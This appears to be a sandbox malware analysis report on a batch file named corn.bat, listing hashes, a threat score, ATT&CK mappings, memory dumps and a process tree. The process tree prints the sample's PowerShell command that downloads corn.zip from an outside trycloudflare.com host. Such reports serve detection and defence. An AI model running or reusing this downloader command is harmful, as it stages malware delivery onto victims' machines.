23474c7aca0d40d8920ba6f5b0ad5646f8d04075976ab3a53837dbb19638766f

Analysis

max time kernel
122s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
30-09-2024 16:41

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General

Target

corn.bat
Size

44KB
MD5

e7a2eb0f8ad72bceec84b48c85cebbef
SHA1

789f12e6755ba3e5995169f1ad575185360f4387
SHA256

23474c7aca0d40d8920ba6f5b0ad5646f8d04075976ab3a53837dbb19638766f
SHA512

aa66289e3b41c5dc7c9b9a03eb96a2dbd6a33a408af0136afeaec41759a4da782031098954091d76d39bbd67b574a0c590fdb774258d30abc4eb07ce337cd1b4
SSDEEP

192:ckKne+fzSOWATUVF+qP7Hg1OA93vOOefDU4x4qL3JEgA9tS/Le2MGmHUQjw:cku1WATOF+qP7g1j93vp34xp1AGP20Qw

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2132	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2132	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2132	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1672 wrote to memory of 2132	1672	cmd.exe	29
PID 1672 wrote to memory of 2132	1672	cmd.exe	29
PID 1672 wrote to memory of 2132	1672	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\corn.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ordinary-wild-victorian-victory.trycloudflare.com/corn.zip' -OutFile 'C:\Users\Admin\Downloads\corn.zip' } catch { exit 1 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2132

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2132-4-0x000007FEF58EE000-0x000007FEF58EF000-memory.dmp

Filesize
4KB

Download
memory/2132-5-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download
memory/2132-7-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/2132-8-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/2132-9-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/2132-6-0x0000000002920000-0x0000000002928000-memory.dmp

Filesize
32KB

Download
memory/2132-10-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/2132-11-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download
memory/2132-12-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

Filesize
9.6MB

Download